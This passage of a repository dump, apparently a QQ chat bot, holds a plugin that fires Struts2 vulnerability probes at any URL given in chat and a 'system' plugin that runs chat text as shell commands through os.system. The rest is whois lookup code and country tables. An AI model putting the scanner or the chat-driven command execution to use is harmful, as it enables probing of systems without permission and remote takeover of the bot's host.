except: 81 | self.msg.Reply("检测struts2-019超时..") 82 | try: 83 | req = requests.get(self.url + self.poc['ST2-devmode'], headers=headers, timeout=6, verify=False) 84 | self.check("struts2-devmode", req.text) 85 | except: 86 | self.msg.Reply("检测struts2-devmode超时..") 87 | try: 88 | req = requests.get(self.url + self.poc['ST2-032'], headers=headers, timeout=6, verify=False) 89 | self.check("struts2-032", req.text) 90 | except: 91 | self.msg.Reply("检测struts2-032超时..") 92 | try: 93 | req = requests.get(self.url + self.poc['ST2-037'], headers=headers, timeout=6, verify=False) 94 | self.check("struts2-037", req.text) 95 | except: 96 | self.msg.Reply("检测struts2-037超时..") 97 | 98 | def work(msg,info): 99 | msg.content=msg.content.strip() 100 | if msg.content.startswith("struts"): 101 | if not info.get('level', 3) < 4: 102 | return False 103 | try: 104 | url=msg.content.split(' ')[1] 105 | if url=='': 106 | raise Exception('网址为空') 107 | strutsVuln = struts_baseverify(url,msg) 108 | threading.Thread(target=strutsVuln.scan).start() 109 | except: 110 | return help(info) 111 | else: 112 | return False 113 | def help(info): 114 | if not info.get('level',3) < 4: 115 | return False 116 | return "#struts http://e.com/ 检测struts漏洞" 117 | -------------------------------------------------------------------------------- /plugin/system.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import os 3 | def work(msg,info): 4 | msg=msg.content.strip() 5 | if msg.startswith("system"): 6 | level=info.get('level',3) 7 | if level<1: 8 | try: 9 | _,cmd=msg.split(' ',1) 10 | os.system(cmd) 11 | return '命令执行成功' 12 | except: 13 | return help(info) 14 | else: 15 | return False 16 | else: 17 | return False 18 | def help(info): 19 | if info.get('level',3)<1: 20 | return "#system command 执行系统命令" -------------------------------------------------------------------------------- /plugin/whois.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import pythonwhois 3 | import sys 4 | reload(sys) 5 | sys.setdefaultencoding('utf-8') 6 | 7 | def work(msg,info): 8 | msg = msg.content.strip() 9 | if msg.startswith("whois"): 10 | if not info.get('level', 3) < 4: 11 | return False 12 | try: 13 | msg = msg.split(' ')[-1] 14 | msg = msg.strip('/') 15 | if msg.count('://'): 16 | msg = msg.split("://")[1] 17 | result = pythonwhois.get_whois(msg) 18 | update = result.get('updated_date', None) 19 | create = result.get('creation_date', None) 20 | contacts = result.get('contacts', None) 21 | raw = result.get('raw', None) 22 | ret = "" 23 | if create: 24 | ret += '\n创建时间:' + str(create[0]) 25 | if update: 26 | ret += '\n更新时间:' + str(update[0]) 27 | if contacts: 28 | info = contacts.get('registrant',{}) 29 | if not info: 30 | info = contacts.get('admin', {}) 31 | if not info: 32 | info={} 33 | if info.get('city', None): 34 | ret += '\n城市:' + str(info.get('city', None)) 35 | if info.get('fax', None): 36 | ret += '\n传真:' + str(info.get('fax', None)) 37 | if info.get('name', None): 38 | ret += '\n名字:' + str(info.get('name', None)) 39 | if info.get('state', None): 40 | ret += '\n地区:' + str(info.get('state', None)) 41 | if info.get('phone', None): 42 | ret += '\n电话:' + str(info.get('phone', None)) 43 | if info.get('street', None): 44 | ret += '\n街道:' + str(info.get('street', None)) 45 | if info.get('country', None): 46 | ret += '\n国家:' + str(info.get('country', None)) 47 | if info.get('postalcode', None): 48 | ret += '\n邮编:' + str(info.get('postalcode', None)) 49 | if info.get('organization', None): 50 | ret += '\n组织:' + str(info.get('organization', None)) 51 | if info.get('email', None): 52 | ret += '\n邮箱:' + str(info.get('email', None)) 53 | if not ret and raw: 54 | return str(raw[0]) 55 | return '域名:' + msg + ret 56 | except Exception, e: 57 | print e 58 | 59 | return help(info) 60 | else: 61 | return False 62 | 63 | 64 | def help(info): 65 | if not info.get('level',3) < 4: 66 | return False 67 | return "#whois example.com 字面意思" 68 | -------------------------------------------------------------------------------- /pluginTemplate.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | def work(msg, info): 3 | # msg参数具体有什么方法和作用请参考 https://github.com/pandolia/qqbot 4 | # info 参数为从用户配置读出来的,json代码,方便以后做添加功能 5 | if msg.content.startswith('command'): 6 | if info.get('level', 3) < 2: # 判断调用等级 7 | msg.Reply('sb') # 可以直接用这个发,不会结束函数调用 8 | return 'sb' # 处理命令并且返回 9 | else: 10 | return False 11 | 12 | 13 | def help(info): # 执行help命令会执行所有插件的help命令,返回不是一个字符串就做没有返回参数处理 14 | if info.get('level', 3) < 2: # 判断调用等级 15 | return '这个是sb的帮助信息' 16 | -------------------------------------------------------------------------------- /pythonwhois/__init__.py: -------------------------------------------------------------------------------- 1 | from . import net, parse 2 | 3 | def get_whois(domain, normalized=[]): 4 | raw_data, server_list = net.get_whois_raw(domain, with_server_list=True) 5 | # Unlisted handles will be looked up on the last WHOIS server that was queried. This may be changed to also query 6 | # other servers in the future, if it turns out that there are cases where the last WHOIS server in the chain doesn't 7 | # actually hold the handle contact details, but another WHOIS server in the chain does. 8 | return parse.parse_raw_whois(raw_data, normalized=normalized, never_query_handles=False, handle_server=server_list[-1]) 9 | 10 | def whois(*args, **kwargs): 11 | raise Exception("The whois() method has been replaced by a different method (with a different API), since pythonwhois 2.0. Either install the older pythonwhois 1.2.3, or change your code to use the new API.") 12 | 13 | -------------------------------------------------------------------------------- /pythonwhois/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/pythonwhois/__init__.pyc -------------------------------------------------------------------------------- /pythonwhois/countries.dat: -------------------------------------------------------------------------------- 1 | iso,name 2 | AF,Afghanistan 3 | AL,Albania 4 | DZ,Algeria 5 | AS,"American Samoa" 6 | AD,Andorra 7 | AO,Angola 8 | AI,Anguilla 9 | AQ,Antarctica 10 | AG,"Antigua and Barbuda" 11 | AR,Argentina 12 | AM,Armenia 13 | AW,Aruba 14 | AU,Australia 15 | AT,Austria 16 | AZ,Azerbaijan 17 | BS,Bahamas 18 | BH,Bahrain 19 | BD,Bangladesh 20 | BB,Barbados 21 | BY,Belarus 22 | BE,Belgium 23 | BZ,Belize 24 | BJ,Benin 25 | BM,Bermuda 26 | BT,Bhutan 27 | BO,Bolivia 28 | BA,"Bosnia and Herzegovina" 29 | BW,Botswana 30 | BV,"Bouvet Island" 31 | BR,Brazil 32 | BQ,"British Antarctic Territory" 33 | IO,"British Indian Ocean Territory" 34 | VG,"British Virgin Islands" 35 | BN,Brunei 36 | BG,Bulgaria 37 | BF,"Burkina Faso" 38 | BI,Burundi 39 | KH,Cambodia 40 | CM,Cameroon 41 | CA,Canada 42 | CT,"Canton and Enderbury Islands" 43 | CV,"Cape Verde" 44 | KY,"Cayman Islands" 45 | CF,"Central African Republic" 46 | TD,Chad 47 | CL,Chile 48 | CN,China 49 | CX,"Christmas Island" 50 | CC,"Cocos [Keeling] Islands" 51 | CO,Colombia 52 | KM,Comoros 53 | CG,"Congo - Brazzaville" 54 | CD,"Congo - Kinshasa" 55 | CK,"Cook Islands" 56 | CR,"Costa Rica" 57 | HR,Croatia 58 | CU,Cuba 59 | CY,Cyprus 60 | CZ,"Czech Republic" 61 | CI,"Côte d’Ivoire" 62 | DK,Denmark 63 | DJ,Djibouti 64 | DM,Dominica 65 | DO,"Dominican Republic" 66 | NQ,"Dronning Maud Land" 67 | DD,"East Germany" 68 | EC,Ecuador 69 | EG,Egypt 70 | SV,"El Salvador" 71 | GQ,"Equatorial Guinea" 72 | ER,Eritrea 73 | EE,Estonia 74 | ET,Ethiopia 75 | FK,"Falkland Islands" 76 | FO,"Faroe Islands" 77 | FJ,Fiji 78 | FI,Finland 79 | FR,France 80 | GF,"French Guiana" 81 | PF,"French Polynesia" 82 | TF,"French Southern Territories" 83 | FQ,"French Southern and Antarctic Territories" 84 | GA,Gabon 85 | GM,Gambia 86 | GE,Georgia 87 | DE,Germany 88 | GH,Ghana 89 | GI,Gibraltar 90 | GR,Greece 91 | GL,Greenland 92 | GD,Grenada 93 | GP,Guadeloupe 94 | GU,Guam 95 | GT,Guatemala 96 | GG,Guernsey 97 | GN,Guinea 98 | GW,Guinea-Bissau 99 | GY,Guyana 100 | HT,Haiti 101 | HM,"Heard Island and McDonald Islands" 102 | HN,Honduras 103 | HK,"Hong Kong" 104 | HU,Hungary 105 | IS,Iceland 106 | IN,India 107 | ID,Indonesia 108 | IR,Iran 109 | IQ,Iraq 110 | IE,Ireland 111 | IM,"Isle of Man" 112 | IL,Israel 113 | IT,Italy 114 | JM,Jamaica 115 | JP,Japan 116 | JE,Jersey 117 | JT,"Johnston Island" 118 | JO,Jordan 119 | KZ,Kazakhstan 120 | KE,Kenya 121 | KI,Kiribati 122 | KW,Kuwait 123 | KG,Kyrgyzstan 124 | LA,Laos 125 | LV,Latvia 126 | LB,Lebanon 127 | LS,Lesotho 128 | LR,Liberia 129 | LY,Libya 130 | LI,Liechtenstein 131 | LT,Lithuania 132 | LU,Luxembourg 133 | MO,"Macau SAR China" 134 | MK,Macedonia 135 | MG,Madagascar 136 | MW,Malawi 137 | MY,Malaysia 138 | MV,Maldives 139 | ML,Mali 140 | MT,Malta 141 | MH,"Marshall Islands" 142 | MQ,Martinique 143 | MR,Mauritania 144 | MU,Mauritius 145 | YT,Mayotte 146 | FX,"Metropolitan France" 147 | MX,Mexico 148 | FM,Micronesia 149 | MI,"Midway Islands" 150 | MD,Moldova 151 | MC,Monaco 152 | MN,Mongolia 153 | ME,Montenegro 154 | MS,Montserrat 155 | MA,Morocco 156 | MZ,Mozambique 157 | MM,"Myanmar [Burma]" 158 | NA,Namibia 159 | NR,Nauru 160 | NP,Nepal 161 | NL,Netherlands 162 | AN,"Netherlands Antilles" 163 | NT,"Neutral Zone" 164 | NC,"New Caledonia" 165 | NZ,"New Zealand" 166 | NI,Nicaragua 167 | NE,Niger 168 | NG,Nigeria 169 | NU,Niue 170 | NF,"Norfolk Island" 171 | KP,"North Korea" 172 | VD,"North Vietnam" 173 | MP,"Northern Mariana Islands" 174 | NO,Norway 175 | OM,Oman 176 | PC,"Pacific Islands Trust Territory" 177 | PK,Pakistan 178 | PW,Palau 179 | PS,"Palestinian Territories" 180 | PA,Panama 181 | PZ,"Panama Canal Zone" 182 | PG,"Papua New Guinea" 183 | PY,Paraguay 184 | YD,"People's Democratic Republic of Yemen" 185 | PE,Peru 186 | PH,Philippines 187 | PN,"Pitcairn Islands" 188 | PL,Poland 189 | PT,Portugal 190 | PR,"Puerto Rico" 191 | QA,Qatar 192 | RO,Romania 193 | RU,Russia 194 | RW,Rwanda 195 | RE,Réunion 196 | BL,"Saint Barthélemy" 197 | SH,"Saint Helena" 198 | KN,"Saint Kitts and Nevis" 199 | LC,"Saint Lucia" 200 | MF,"Saint Martin" 201 | PM,"Saint Pierre and Miquelon" 202 | VC,"Saint Vincent and the Grenadines" 203 | WS,Samoa 204 | SM,"San Marino" 205 | SA,"Saudi Arabia" 206 | SN,Senegal 207 | RS,Serbia 208 | CS,"Serbia and Montenegro" 209 | SC,Seychelles 210 | SL,"Sierra Leone" 211 | SG,Singapore 212 | SK,Slovakia 213 | SI,Slovenia 214 | SB,"Solomon Islands" 215 | SO,Somalia 216 | ZA,"South Africa" 217 | GS,"South Georgia and the South Sandwich Islands" 218 | KR,"South Korea" 219 | ES,Spain 220 | LK,"Sri Lanka" 221 | SD,Sudan 222 | SR,Suriname 223 | SJ,"Svalbard and Jan Mayen" 224 | SZ,Swaziland 225 | SE,Sweden 226 | CH,Switzerland 227 | SY,Syria 228 | ST,"São Tomé and Príncipe" 229 | TW,Taiwan 230 | TJ,Tajikistan 231 | TZ,Tanzania 232 | TH,Thailand 233 | TL,Timor-Leste 234 | TG,Togo 235 | TK,Tokelau 236 | TO,Tonga 237 | TT,"Trinidad and Tobago" 238 | TN,Tunisia 239 | TR,Turkey 240 | TM,Turkmenistan 241 | TC,"Turks and Caicos Islands" 242 | TV,Tuvalu 243 | UM,"U.S. Minor Outlying Islands" 244 | PU,"U.S. Miscellaneous Pacific Islands" 245 | VI,"U.S. Virgin Islands" 246 | UG,Uganda 247 | UA,Ukraine 248 | SU,"Union of Soviet Socialist Republics" 249 | AE,"United Arab Emirates" 250 | GB,"United Kingdom" 251 | US,"United States" 252 | ZZ,"Unknown or Invalid Region" 253 | UY,Uruguay 254 | UZ,Uzbekistan 255 | VU,Vanuatu 256 | VA,"Vatican City" 257 | VE,Venezuela 258 | VN,Vietnam 259 | WK,"Wake Island" 260 | WF,"Wallis and Futuna" 261 | EH,"Western Sahara" 262 | YE,Yemen 263 | ZM,Zambia 264 | ZW,Zimbabwe 265 | AX,"Åland Islands" -------------------------------------------------------------------------------- /pythonwhois/countries3.dat: -------------------------------------------------------------------------------- 1 | "name","iso_name","iso2","iso3","numcode" 2 | "Antigua and Barbuda","ANTIGUA AND BARBUDA","AG","ATG",28 3 | "Bosnia and Herzegovina","BOSNIA AND HERZEGOVINA","BA","BIH",70 4 | "Cocos (Keeling) Islands","COCOS (KEELING) ISLANDS","CC","\N","\N" 5 | "Congo, the Democratic Republic of the","CONGO, THE DEMOCRATIC REPUBLIC OF THE","CD","COD",180 6 | "Cote D'Ivoire","COTE D'IVOIRE","CI","CIV",384 7 | "Fiji","FIJI","FJ","FJI",242 8 | "French Southern Territories","FRENCH SOUTHERN TERRITORIES","TF","\N","\N" 9 | "Heard Island and Mcdonald Islands","HEARD ISLAND AND MCDONALD ISLANDS","HM","\N","\N" 10 | "Holy See (Vatican City State)","HOLY SEE (VATICAN CITY STATE)","VA","VAT",336 11 | "Iran, Islamic Republic of","IRAN, ISLAMIC REPUBLIC OF","IR","IRN",364 12 | "Korea, Democratic People's Republic of","KOREA, DEMOCRATIC PEOPLE'S REPUBLIC OF","KP","PRK",408 13 | "Korea, Republic of","KOREA, REPUBLIC OF","KR","KOR",410 14 | "Belarus","BELARUS","BY","BLR",112 15 | "Lao People's Democratic Republic","LAO PEOPLE'S DEMOCRATIC REPUBLIC","LA","LAO",418 16 | "Macedonia, the Former Yugoslav Republic of","MACEDONIA, THE FORMER YUGOSLAV REPUBLIC OF","MK","MKD",807 17 | "United States","UNITED STATES","US","USA",840 18 | "Micronesia, Federated States of","MICRONESIA, FEDERATED STATES OF","FM","FSM",583 19 | "Moldova, Republic of","MOLDOVA, REPUBLIC OF","MD","MDA",498 20 | "Palestinian Territory, Occupied","PALESTINIAN TERRITORY, OCCUPIED","PS","\N","\N" 21 | "Pitcairn","PITCAIRN","PN","PCN",612 22 | "Reunion","REUNION","RE","REU",638 23 | "Saint Helena","SAINT HELENA","SH","SHN",654 24 | "Saint Kitts and Nevis","SAINT KITTS AND NEVIS","KN","KNA",659 25 | "Saint Pierre and Miquelon","SAINT PIERRE AND MIQUELON","PM","SPM",666 26 | "Sao Tome and Principe","SAO TOME AND PRINCIPE","ST","STP",678 27 | "Serbia and Montenegro","SERBIA AND MONTENEGRO","CS","\N","\N" 28 | "South Georgia and the South Sandwich Islands","SOUTH GEORGIA AND THE SOUTH SANDWICH ISLANDS","GS","\N","\N" 29 | "Svalbard and Jan Mayen","SVALBARD AND JAN MAYEN","SJ","SJM",744 30 | "Syrian Arab Republic","SYRIAN ARAB REPUBLIC","SY","SYR",760 31 | "Taiwan, Province of China","TAIWAN, PROVINCE OF CHINA","TW","TWN",158 32 | "Tanzania, United Republic of","TANZANIA, UNITED REPUBLIC OF","TZ","TZA",834 33 | "Timor-Leste","TIMOR-LESTE","TL","\N","\N" 34 | "Trinidad and Tobago","TRINIDAD AND TOBAGO","TT","TTO",780 35 | "Mexico","MEXICO","MX","MEX",484 36 | "Myanmar","MYANMAR","MM","MMR",104 37 | "Virgin Islands, British","VIRGIN ISLANDS, BRITISH","VG","VGB",92 38 | "Virgin Islands, U.s.","VIRGIN ISLANDS, U.S.","VI","VIR",850 39 | "Wallis and Futuna","WALLIS AND FUTUNA","WF","WLF",876 40 | "Albania","ALBANIA","AL","ALB",8 41 | "Algeria","ALGERIA","DZ","DZA",12 42 | "American Samoa","AMERICAN SAMOA","AS","ASM",16 43 | "Vanuatu","VANUATU","VU","VUT",548 44 | "Yemen","YEMEN","YE","YEM",887 45 | "Andorra","ANDORRA","AD","AND",20 46 | "Angola","ANGOLA","AO","AGO",24 47 | "Anguilla","ANGUILLA","AI","AIA",660 48 | "Argentina","ARGENTINA","AR","ARG",32 49 | "Armenia","ARMENIA","AM","ARM",51 50 | "Aruba","ARUBA","AW","ABW",533 51 | "Australia","AUSTRALIA","AU","AUS",36 52 | "Austria","AUSTRIA","AT","AUT",40 53 | "Azerbaijan","AZERBAIJAN","AZ","AZE",31 54 | "Bahamas","BAHAMAS","BS","BHS",44 55 | "Bahrain","BAHRAIN","BH","BHR",48 56 | "Bangladesh","BANGLADESH","BD","BGD",50 57 | "Barbados","BARBADOS","BB","BRB",52 58 | "Belgium","BELGIUM","BE","BEL",56 59 | "Benin","BENIN","BJ","BEN",204 60 | "Bermuda","BERMUDA","BM","BMU",60 61 | "Bhutan","BHUTAN","BT","BTN",64 62 | "Bolivia","BOLIVIA","BO","BOL",68 63 | "Botswana","BOTSWANA","BW","BWA",72 64 | "Bouvet Island","BOUVET ISLAND","BV","\N","\N" 65 | "Brazil","BRAZIL","BR","BRA",76 66 | "British Indian Ocean Territory","BRITISH INDIAN OCEAN TERRITORY","IO","\N","\N" 67 | "Brunei Darussalam","BRUNEI DARUSSALAM","BN","BRN",96 68 | "Bulgaria","BULGARIA","BG","BGR",100 69 | "Burkina Faso","BURKINA FASO","BF","BFA",854 70 | "Burundi","BURUNDI","BI","BDI",108 71 | "Cambodia","CAMBODIA","KH","KHM",116 72 | "Cameroon","CAMEROON","CM","CMR",120 73 | "Canada","CANADA","CA","CAN",124 74 | "Cape Verde","CAPE VERDE","CV","CPV",132 75 | "Malta","MALTA","MT","MLT",470 76 | "Cayman Islands","CAYMAN ISLANDS","KY","CYM",136 77 | "Chad","CHAD","TD","TCD",148 78 | "Chile","CHILE","CL","CHL",152 79 | "China","CHINA","CN","CHN",156 80 | "Christmas Island","CHRISTMAS ISLAND","CX","\N","\N" 81 | "Colombia","COLOMBIA","CO","COL",170 82 | "Comoros","COMOROS","KM","COM",174 83 | "Cook Islands","COOK ISLANDS","CK","COK",184 84 | "Costa Rica","COSTA RICA","CR","CRI",188 85 | "Croatia","CROATIA","HR","HRV",191 86 | "Cuba","CUBA","CU","CUB",192 87 | "Cyprus","CYPRUS","CY","CYP",196 88 | "Czech Republic","CZECH REPUBLIC","CZ","CZE",203 89 | "Denmark","DENMARK","DK","DNK",208 90 | "Djibouti","DJIBOUTI","DJ","DJI",262 91 | "Dominica","DOMINICA","DM","DMA",212 92 | "Dominican Republic","DOMINICAN REPUBLIC","DO","DOM",214 93 | "Ecuador","ECUADOR","EC","ECU",218 94 | "Egypt","EGYPT","EG","EGY",818 95 | "Equatorial Guinea","EQUATORIAL GUINEA","GQ","GNQ",226 96 | "Eritrea","ERITREA","ER","ERI",232 97 | "Estonia","ESTONIA","EE","EST",233 98 | "Ethiopia","ETHIOPIA","ET","ETH",231 99 | "Faroe Islands","FAROE ISLANDS","FO","FRO",234 100 | "Finland","FINLAND","FI","FIN",246 101 | "France","FRANCE","FR","FRA",250 102 | "French Guiana","FRENCH GUIANA","GF","GUF",254 103 | "French Polynesia","FRENCH POLYNESIA","PF","PYF",258 104 | "Gabon","GABON","GA","GAB",266 105 | "Gambia","GAMBIA","GM","GMB",270 106 | "Georgia","GEORGIA","GE","GEO",268 107 | "Germany","GERMANY","DE","DEU",276 108 | "Ghana","GHANA","GH","GHA",288 109 | "Gibraltar","GIBRALTAR","GI","GIB",292 110 | "Greece","GREECE","GR","GRC",300 111 | "Greenland","GREENLAND","GL","GRL",304 112 | "Grenada","GRENADA","GD","GRD",308 113 | "Guadeloupe","GUADELOUPE","GP","GLP",312 114 | "Guam","GUAM","GU","GUM",316 115 | "Guatemala","GUATEMALA","GT","GTM",320 116 | "Guinea","GUINEA","GN","GIN",324 117 | "Guinea-Bissau","GUINEA-BISSAU","GW","GNB",624 118 | "Guyana","GUYANA","GY","GUY",328 119 | "Haiti","HAITI","HT","HTI",332 120 | "Honduras","HONDURAS","HN","HND",340 121 | "Hong Kong","HONG KONG","HK","HKG",344 122 | "Hungary","HUNGARY","HU","HUN",348 123 | "Iceland","ICELAND","IS","ISL",352 124 | "India","INDIA","IN","IND",356 125 | "Indonesia","INDONESIA","ID","IDN",360 126 | "Iraq","IRAQ","IQ","IRQ",368 127 | "Israel","ISRAEL","IL","ISR",376 128 | "Italy","ITALY","IT","ITA",380 129 | "Jamaica","JAMAICA","JM","JAM",388 130 | "Japan","JAPAN","JP","JPN",392 131 | "Jordan","JORDAN","JO","JOR",400 132 | "Kazakhstan","KAZAKHSTAN","KZ","KAZ",398 133 | "Kenya","KENYA","KE","KEN",404 134 | "Kiribati","KIRIBATI","KI","KIR",296 135 | "Kuwait","KUWAIT","KW","KWT",414 136 | "Kyrgyzstan","KYRGYZSTAN","KG","KGZ",417 137 | "Latvia","LATVIA","LV","LVA",428 138 | "Lesotho","LESOTHO","LS","LSO",426 139 | "Liberia","LIBERIA","LR","LBR",430 140 | "Libyan Arab Jamahiriya","LIBYAN ARAB JAMAHIRIYA","LY","LBY",434 141 | "Lithuania","LITHUANIA","LT","LTU",440 142 | "Luxembourg","LUXEMBOURG","LU","LUX",442 143 | "Macao","MACAO","MO","MAC",446 144 | "Madagascar","MADAGASCAR","MG","MDG",450 145 | "Malawi","MALAWI","MW","MWI",454 146 | "Malaysia","MALAYSIA","MY","MYS",458 147 | "Maldives","MALDIVES","MV","MDV",462 148 | "Mali","MALI","ML","MLI",466 149 | "Marshall Islands","MARSHALL ISLANDS","MH","MHL",584 150 | "Martinique","MARTINIQUE","MQ","MTQ",474 151 | "Mauritius","MAURITIUS","MU","MUS",480 152 | "Mayotte","MAYOTTE","YT","\N","\N" 153 | "Monaco","MONACO","MC","MCO",492 154 | "Mongolia","MONGOLIA","MN","MNG",496 155 | "Montserrat","MONTSERRAT","MS","MSR",500 156 | "Morocco","MOROCCO","MA","MAR",504 157 | "Mozambique","MOZAMBIQUE","MZ","MOZ",508 158 | "Namibia","NAMIBIA","NA","NAM",516 159 | "Nauru","NAURU","NR","NRU",520 160 | "Nepal","NEPAL","NP","NPL",524 161 | "Netherlands","NETHERLANDS","NL","NLD",528 162 | "New Caledonia","NEW CALEDONIA","NC","NCL",540 163 | "New Zealand","NEW ZEALAND","NZ","NZL",554 164 | "Nicaragua","NICARAGUA","NI","NIC",558 165 | "Niger","NIGER","NE","NER",562 166 | "Nigeria","NIGERIA","NG","NGA",566 167 | "Niue","NIUE","NU","NIU",570 168 | "Norfolk Island","NORFOLK ISLAND","NF","NFK",574 169 | "Northern Mariana Islands","NORTHERN MARIANA ISLANDS","MP","MNP",580 170 | "Norway","NORWAY","NO","NOR",578 171 | "Oman","OMAN","OM","OMN",512 172 | "Pakistan","PAKISTAN","PK","PAK",586 173 | "Palau","PALAU","PW","PLW",585 174 | "Panama","PANAMA","PA","PAN",591 175 | "Paraguay","PARAGUAY","PY","PRY",600 176 | "Peru","PERU","PE","PER",604 177 | "Philippines","PHILIPPINES","PH","PHL",608 178 | "Poland","POLAND","PL","POL",616 179 | "Portugal","PORTUGAL","PT","PRT",620 180 | "Puerto Rico","PUERTO RICO","PR","PRI",630 181 | "Qatar","QATAR","QA","QAT",634 182 | "Romania","ROMANIA","RO","ROM",642 183 | "Russian Federation","RUSSIAN FEDERATION","RU","RUS",643 184 | "Rwanda","RWANDA","RW","RWA",646 185 | "Saint Lucia","SAINT LUCIA","LC","LCA",662 186 | "Saint Vincent and the Grenadines","SAINT VINCENT AND THE GRENADINES","VC","VCT",670 187 | "Samoa","SAMOA","WS","WSM",882 188 | "San Marino","SAN MARINO","SM","SMR",674 189 | "Senegal","SENEGAL","SN","SEN",686 190 | "Seychelles","SEYCHELLES","SC","SYC",690 191 | "Sierra Leone","SIERRA LEONE","SL","SLE",694 192 | "Singapore","SINGAPORE","SG","SGP",702 193 | "Slovakia","SLOVAKIA","SK","SVK",703 194 | "Slovenia","SLOVENIA","SI","SVN",705 195 | "Solomon Islands","SOLOMON ISLANDS","SB","SLB",90 196 | "Somalia","SOMALIA","SO","SOM",706 197 | "South Africa","SOUTH AFRICA","ZA","ZAF",710 198 | "Spain","SPAIN","ES","ESP",724 199 | "Sri Lanka","SRI LANKA","LK","LKA",144 200 | "Sudan","SUDAN","SD","SDN",736 201 | "Suriname","SURINAME","SR","SUR",740 202 | "Swaziland","SWAZILAND","SZ","SWZ",748 203 | "Sweden","SWEDEN","SE","SWE",752 204 | "Switzerland","SWITZERLAND","CH","CHE",756 205 | "Thailand","THAILAND","TH","THA",764 206 | "Togo","TOGO","TG","TGO",768 207 | "Tokelau","TOKELAU","TK","TKL",772 208 | "Tonga","TONGA","TO","TON",776 209 | "Tunisia","TUNISIA","TN","TUN",788 210 | "Turkey","TURKEY","TR","TUR",792 211 | "Turkmenistan","TURKMENISTAN","TM","TKM",795 212 | "Turks and Caicos Islands","TURKS AND CAICOS ISLANDS","TC","TCA",796 213 | "Tuvalu","TUVALU","TV","TUV",798 214 | "Uganda","UGANDA","UG","UGA",800 215 | "Ukraine","UKRAINE","UA","UKR",804 216 | "United Kingdom","UNITED KINGDOM","GB","GBR",826 217 | "United States Minor Outlying Islands","UNITED STATES MINOR OUTLYING ISLANDS","UM","\N","\N" 218 | "Uruguay","URUGUAY","UY","URY",858 219 | "Uzbekistan","UZBEKISTAN","UZ","UZB",860 220 | "Venezuela","VENEZUELA","VE","VEN",862 221 | "Viet Nam","VIET NAM","VN","VNM",704 222 | "Western Sahara","WESTERN SAHARA","EH","ESH",732 223 | "Zambia","ZAMBIA","ZM","ZMB",894 224 | "Zimbabwe","ZIMBABWE","ZW","ZWE",716 225 | "Antarctica","ANTARCTICA","AQ","\N","\N" 226 | "Belize","BELIZE","BZ","BLZ",84 227 | "Central African Republic","CENTRAL AFRICAN REPUBLIC","CF","CAF",140 228 | "El Salvador","EL SALVADOR","SV","SLV",222 229 | "Ireland","IRELAND","IE","IRL",372 230 | "Lebanon","LEBANON","LB","LBN",422 231 | "Liechtenstein","LIECHTENSTEIN","LI","LIE",438 232 | "Mauritania","MAURITANIA","MR","MRT",478 233 | "Afghanistan","AFGHANISTAN","AF","AFG",4 234 | "Falkland Islands (Malvinas)","FALKLAND ISLANDS (MALVINAS)","FK","FLK",238 235 | "Netherlands Antilles","NETHERLANDS ANTILLES","AN","ANT",530 236 | "Congo","CONGO","CG","COG",178 237 | "Papua New Guinea","PAPUA NEW GUINEA","PG","PNG",598 238 | "Saudi Arabia","SAUDI ARABIA","SA","SAU",682 239 | "Tajikistan","TAJIKISTAN","TJ","TJK",762 240 | "United Arab Emirates","UNITED ARAB EMIRATES","AE","ARE",784 -------------------------------------------------------------------------------- /pythonwhois/net.py: -------------------------------------------------------------------------------- 1 | import re 2 | import socket 3 | import sys 4 | from codecs import encode, decode 5 | 6 | from . import shared 7 | 8 | 9 | def get_whois_raw(domain, server="", previous=None, rfc3490=True, never_cut=False, with_server_list=False, server_list=None): 10 | previous = previous or [] 11 | server_list = server_list or [] 12 | # Sometimes IANA simply won't give us the right root WHOIS server 13 | exceptions = { 14 | ".ac.uk": "whois.ja.net", 15 | ".ps": "whois.pnina.ps", 16 | ".buzz": "whois.nic.buzz", 17 | ".moe": "whois.nic.moe", 18 | # The following is a bit hacky, but IANA won't return the right answer for example.com because it's a direct registration. 19 | "example.com": "whois.verisign-grs.com" 20 | } 21 | 22 | if rfc3490: 23 | if sys.version_info < (3, 0): 24 | domain = encode( domain if type(domain) is unicode else decode(domain, "utf8"), "idna" ) 25 | else: 26 | domain = encode(domain, "idna").decode("ascii") 27 | 28 | if len(previous) == 0 and server == "": 29 | # Root query 30 | is_exception = False 31 | for exception, exc_serv in exceptions.items(): 32 | if domain.endswith(exception): 33 | is_exception = True 34 | target_server = exc_serv 35 | break 36 | if is_exception == False: 37 | target_server = get_root_server(domain) 38 | else: 39 | target_server = server 40 | if target_server == "whois.jprs.jp": 41 | request_domain = "%s/e" % domain # Suppress Japanese output 42 | elif domain.endswith(".de") and ( target_server == "whois.denic.de" or target_server == "de.whois-servers.net" ): 43 | request_domain = "-T dn,ace %s" % domain # regional specific stuff 44 | elif target_server == "whois.verisign-grs.com": 45 | request_domain = "=%s" % domain # Avoid partial matches 46 | else: 47 | request_domain = domain 48 | response = whois_request(request_domain, target_server) 49 | if never_cut: 50 | # If the caller has requested to 'never cut' responses, he will get the original response from the server (this is 51 | # useful for callers that are only interested in the raw data). Otherwise, if the target is verisign-grs, we will 52 | # select the data relevant to the requested domain, and discard the rest, so that in a multiple-option response the 53 | # parsing code will only touch the information relevant to the requested domain. The side-effect of this is that 54 | # when `never_cut` is set to False, any verisign-grs responses in the raw data will be missing header, footer, and 55 | # alternative domain options (this is handled a few lines below, after the verisign-grs processing). 56 | new_list = [response] + previous 57 | if target_server == "whois.verisign-grs.com": 58 | # VeriSign is a little... special. As it may return multiple full records and there's no way to do an exact query, 59 | # we need to actually find the correct record in the list. 60 | for record in response.split("\n\n"): 61 | if re.search("Domain Name: %s\n" % domain.upper(), record): 62 | response = record 63 | break 64 | if never_cut == False: 65 | new_list = [response] + previous 66 | server_list.append(target_server) 67 | for line in [x.strip() for x in response.splitlines()]: 68 | match = re.match("(refer|whois server|referral url|whois server|registrar whois):\s*([^\s]+\.[^\s]+)", line, re.IGNORECASE) 69 | if match is not None: 70 | referal_server = match.group(2) 71 | if referal_server != server and "://" not in referal_server: # We want to ignore anything non-WHOIS (eg. HTTP) for now. 72 | # Referal to another WHOIS server... 73 | return get_whois_raw(domain, referal_server, new_list, server_list=server_list, with_server_list=with_server_list) 74 | if with_server_list: 75 | return (new_list, server_list) 76 | else: 77 | return new_list 78 | 79 | def get_root_server(domain): 80 | data = whois_request(domain, 